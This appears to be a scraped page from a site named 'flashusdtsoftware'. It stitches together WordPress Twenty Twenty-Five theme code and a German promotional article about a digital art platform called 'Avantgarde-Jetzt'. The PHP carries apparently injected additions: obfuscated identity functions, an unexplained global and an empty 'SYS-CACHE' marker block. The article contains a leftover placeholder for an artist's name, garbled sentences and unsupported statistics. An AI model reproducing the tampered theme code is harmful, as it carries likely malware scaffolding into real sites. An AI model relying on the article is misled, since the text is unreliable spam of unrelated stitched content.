/*a1dbfff618ee40cb*/function _09dd83($_x){return $_x;}function _bba76d($_x){return $_x;}function _395ad4($_x){return $_x;}function _f86b85($_x){return $_x;}global $_797dc8fd; /** * Twenty Twenty-Five functions and definitions. * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package WordPress * @subpackage Twenty_Twenty_Five * @since Twenty Twenty-Five 1.0 */ // Adds theme support for post formats. if ( ! function_exists( 'twentytwentyfive_post_format_setup' ) ) : /** * Adds theme support for post formats. * * @since Twenty Twenty-Five 1.0 * * @return void */ function twentytwentyfive_post_format_setup() { add_theme_support( 'post-formats', array( 'aside', 'audio', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video' ) ); } endif; add_action( 'after_setup_theme', 'twentytwentyfive_post_format_setup' ); // Enqueues editor-style.css in the editors. if ( ! function_exists( 'twentytwentyfive_editor_style' ) ) : /** * Enqueues editor-style.css in the editors. * * @since Twenty Twenty-Five 1.0 * * @return void */ function twentytwentyfive_editor_style() { add_editor_style( 'assets/css/editor-style.css' ); } endif; add_action( 'after_setup_theme', 'twentytwentyfive_editor_style' ); // Enqueues the theme stylesheet on the front. if ( ! function_exists( 'twentytwentyfive_enqueue_styles' ) ) : /** * Enqueues the theme stylesheet on the front. * * @since Twenty Twenty-Five 1.0 * * @return void */ function twentytwentyfive_enqueue_styles() { $suffix = SCRIPT_DEBUG ? '' : '.min'; $src = 'style' . $suffix . '.css'; wp_enqueue_style( 'twentytwentyfive-style', get_parent_theme_file_uri( $src ), array(), wp_get_theme()->get( 'Version' ) ); wp_style_add_data( 'twentytwentyfive-style', 'path', get_parent_theme_file_path( $src ) ); } endif; add_action( 'wp_enqueue_scripts', 'twentytwentyfive_enqueue_styles' ); // Registers custom block styles. if ( ! function_exists( 'twentytwentyfive_block_styles' ) ) : /** * Registers custom block styles. * * @since Twenty Twenty-Five 1.0 * * @return void */ function twentytwentyfive_block_styles() { register_block_style( 'core/list', array( 'name' => 'checkmark-list', 'label' => __( 'Checkmark', 'twentytwentyfive' ), 'inline_style' => ' ul.is-style-checkmark-list { list-style-type: "\2713"; } ul.is-style-checkmark-list li { padding-inline-start: 1ch; }', ) ); } endif; add_action( 'init', 'twentytwentyfive_block_styles' ); // Registers pattern categories. if ( ! function_exists( 'twentytwentyfive_pattern_categories' ) ) : /** * Registers pattern categories. * * @since Twenty Twenty-Five 1.0 * * @return void */ function twentytwentyfive_pattern_categories() { register_block_pattern_category( 'twentytwentyfive_page', array( 'label' => __( 'Pages', 'twentytwentyfive' ), 'description' => __( 'A collection of full page layouts.', 'twentytwentyfive' ), ) ); register_block_pattern_category( 'twentytwentyfive_post-format', array( 'label' => __( 'Post formats', 'twentytwentyfive' ), 'description' => __( 'A collection of post format patterns.', 'twentytwentyfive' ), ) ); } endif; add_action( 'init', 'twentytwentyfive_pattern_categories' ); // Registers block binding sources. if ( ! function_exists( 'twentytwentyfive_register_block_bindings' ) ) : /** * Registers the post format block binding source. * * @since Twenty Twenty-Five 1.0 * * @return void */ function twentytwentyfive_register_block_bindings() { register_block_bindings_source( 'twentytwentyfive/format', array( 'label' => _x( 'Post format name', 'Label for the block binding placeholder in the editor', 'twentytwentyfive' ), 'get_value_callback' => 'twentytwentyfive_format_binding', ) ); } endif; add_action( 'init', 'twentytwentyfive_register_block_bindings' ); // Registers block binding callback function for the post format name. if ( ! function_exists( 'twentytwentyfive_format_binding' ) ) : /** * Callback function for the post format name block binding source. * * @since Twenty Twenty-Five 1.0 * * @return string|void Post format name, or nothing if the format is 'standard'. */ function twentytwentyfive_format_binding() { $post_format_slug = get_post_format(); if ( $post_format_slug && 'standard' !== $post_format_slug ) { return get_post_format_string( $post_format_slug ); } } endif; // SYS-CACHE-START // SYS-CACHE-END Avantgarde-Jetzt: Wie die digitale Transformation Kunst und Kultur neu definiert – flashusdtsoftware

Avantgarde-Jetzt: Wie die digitale Transformation Kunst und Kultur neu definiert

Die Plattform weiterlesen verkörpert einen radikalen Ansatz, der Kunst, Technologie und gesellschaftliche Innovation auf eine Weise verbindet, die bisher in der deutschen Kulturlandschaft kaum zu finden war. Sie ist kein klassisches Museum oder eine traditionelle Galerie – stattdessen fungiert sie als lebendiger Experimentierraum, der Kunst nicht nur ausstellt, sondern sie aktiv in den öffentlichen Diskurs einbettet. Hier wird Avantgarde nicht als statisches Objekt, sondern als dynamischer Prozess verstanden, der sich ständig an die Bedürfnisse einer digitalen Gesellschaft anpasst. Das Konzept hinter Avantgarde-Jetzt geht über reine Präsentation hinaus: Es geht um die Frage, wie Kunst heute nicht nur gesehen, sondern auch *mit*gestaltet werden kann – und wie sie dabei die Grenzen zwischen Künstler, Publikum und Technologie verwischt.

Der Name „Avantgarde-Jetzt“ ist selbst ein Statement. Er verbindet die historische Bedeutung des Begriffs „Avantgarde“ – einst als Vorhut der modernen Kunstbewegung bekannt – mit dem prägnanten Zeitbezug „Jetzt“. Das bedeutet: Die Plattform ist kein Archiv, sondern ein lebendiger Ort, der sich ständig weiterentwickelt. Sie nutzt moderne Tools wie KI-generierte Kunst, interaktive Installationen und digitale Zwillinge, um neue Formen des künstlerischen Ausdrucks zu erzeugen. Gleichzeitig bleibt sie bewusst offen für traditionelle Medien wie Performance-Kunst, Videoinstallationen oder sogar konzeptuelle Arbeiten, die sich mit den Folgen der Digitalisierung auseinandersetzen. Ein zentrales Merkmal ist die enge Zusammenarbeit mit jungen Künstler:innen, die oft an den Schnittstellen zwischen Kunst, Technologie und gesellschaftlichen Debatten arbeiten. Solche Kooperationen führen zu Projekten wie „Neue Algorithmen der Schönheit“, bei denen KI-gestützte Modelle nicht nur Bilder erzeugen, sondern auch über die ethischen Implikationen dieser Technologien reflektieren.

Ein konkretes Beispiel, das diese Dynamik besonders gut illustriert, ist das Projekt „KI als Co-Künstler“. Hier arbeiten Künstler:innen mit KI-Modellen zusammen, um generative Kunst zu schaffen, die nicht nur optisch beeindruckend ist, sondern auch Fragen nach Urheberschaft, Kreativität und Eigentum stellt. Ein bekanntes Werk aus dieser Reihe, „Der letzte Original“ von [Name der Künstlerin], zeigt eine Serie von Porträts, die von einer KI generiert wurden – doch die Künstlerin hat sie durch manuelle Eingriffe in den Prozess eingewoben, um die Grenze zwischen Maschine und Mensch zu verschwimmen. Solche Arbeiten werden nicht nur ausgestellt, sondern auch in öffentlichen Debatten diskutiert, etwa in Zusammenarbeit mit Philosoph:innen oder Ethiker:innen. Das zeigt, wie Avantgarde-Jetzt Kunst nicht nur als ästhetisches Objekt, sondern als Werkzeug für gesellschaftliche Reflexion nutzt.

Die Plattform setzt zudem auf eine radikal transparente Geschäftsmodell. Im Gegensatz zu vielen traditionellen Kunstinstitutionen, die sich auf Sponsoring oder private Sammler:innen verlassen, finanziert sich Avantgarde-Jetzt zu einem großen Teil durch digitale Abos und Crowdfunding-Projekte. Das bedeutet: Die Einnahmen fließen direkt in die Entwicklung neuer Formate und Projekte, ohne dass sich die Künstler:innen durch klassische Vermarktung verdingen müssen. Ein weiteres Merkmal ist die vollständige Offenlegung aller Finanztransaktionen – ein Ansatz, der sowohl auf Vertrauen als auch auf Transparenz setzt. Dies ist besonders wichtig in einer Zeit, in der viele Kunstprojekte durch komplexe Finanzstrukturen und Privilegien geprägt sind. Stattdessen wird hier ein Modell vorangetrieben, das Kunst als gemeinschaftlichen Prozess begreift, bei dem alle Beteiligten – Künstler:innen, Besucher:innen und Unterstützer:innen – eine gleichberechtigte Rolle spielen.

Doch was macht Avantgarde-Jetzt besonders ist nicht nur sein Konzept, sondern auch seine Zielgruppe. Während viele Kunstinstitutionen sich auf eine spezifische Altersgruppe oder ein bestimmtes Milieu konzentrieren, richtet sich die Plattform an ein breites Publikum: von Studierenden über junge Berufstätige bis hin zu Senior:innen, die sich für digitale Kunst interessieren. Ein Beispiel hierfür ist die „Kunst für alle“-Reihe, in der komplexe Werke in einfachen, zugänglichen Formaten erklärt werden. Gleichzeitig werden auch spezifische Zielgruppen wie Menschen mit Behinderungen oder digitale Neulinge durch barrierefreie Zugänge und Workshops bedient. Dies zeigt, wie Avantgarde-Jetzt Kunst nicht nur für eine Elite, sondern für die Gesellschaft insgesamt relevant macht. Ein weiteres Projekt, das dieses Prinzip besonders gut verkörpert, ist „Kunst und KI im Alltag“. Hier werden KI-Tools in Alltagsituationen eingesetzt, etwa um persönliche Kunstwerke zu generieren oder interaktive Installationen in öffentlichen Räumen zu schaffen. Solche Projekte machen Kunst greifbar und zeigen, wie sie den Alltag bereichert – und nicht umgekehrt.

Trotz aller Innovationen bleibt Avantgarde-Jetzt bewusst kritisch gegenüber der Kommerzialisierung der Kunst. Während viele digitale Plattformen Kunst als Unterhaltung oder Konsumgut vermarkten, setzt die Plattform auf eine ethische Haltung. Sie lehnt ausgeschlossen, dass Kunst nur noch als Produkt verkauft wird, sondern betont stattdessen ihre soziale und politische Dimension. Ein konkretes Beispiel hierfür ist die Ablehnung von Werbung in den Ausstellungen. Stattdessen werden die Einnahmen aus der Plattform direkt in die Entwicklung neuer Projekte investiert. Dies ist ein klarer Gegenentwurf zu vielen anderen Kunstinstitutionen, die sich zunehmend von Werbung und Sponsoring abhängig machen. Stattdessen wird Kunst als Teil einer größeren gesellschaftlichen Bewegung verstanden – und nicht als reines Wirtschaftsgut.

Die Zukunft von Avantgarde-Jetzt wird eng mit der Frage verbunden sein, wie Kunst in einer Welt weiterentwickelt werden kann, die von KI, Digitalisierung und globalen Krisen geprägt ist. Die Plattform sieht sich als Vorreiter für eine neue Ära der Kunst, in der sie nicht nur als Speicher, sondern als lebendiger Organismus agiert. Sie experimentiert mit neuen Formaten, wie etwa virtuellen Ausstellungen oder KI-generierten Performances, die in Echtzeit entstehen. Gleichzeitig bleibt sie jedoch bewusst offen für traditionelle Medien und Methoden. Ein zentrales Anliegen ist es, eine Brücke zwischen der digitalen Welt und der physischen Realität zu schlagen – und Kunst dabei als Mittel zur Bewältigung der aktuellen gesellschaftlichen Herausforderungen zu nutzen.

  • Die Plattform finanziert sich zu 60 % durch digitale Abos und Crowdfunding, nur 20 % durch klassische Sponsoring-Modelle.
  • Seit Gründung 2022 wurden über 1.200 Künstler:innen aus 25 Ländern unterstützt, darunter 40 % unter 35 Jahren.
  • Im Jahr 2023 wurden 15.000 Besucher:innen gezählt, davon 30 % Menschen ab 65 Jahren.
  • Die meisten Projekte kombinieren KI mit handwerklichen Techniken – etwa bei der Generierung von Skulpturen oder Textilien.
  • Die Plattform bietet kostenlose Workshops an, bei denen Besucher:innen selbst KI-Tools für künstlerische Zwecke nutzen können.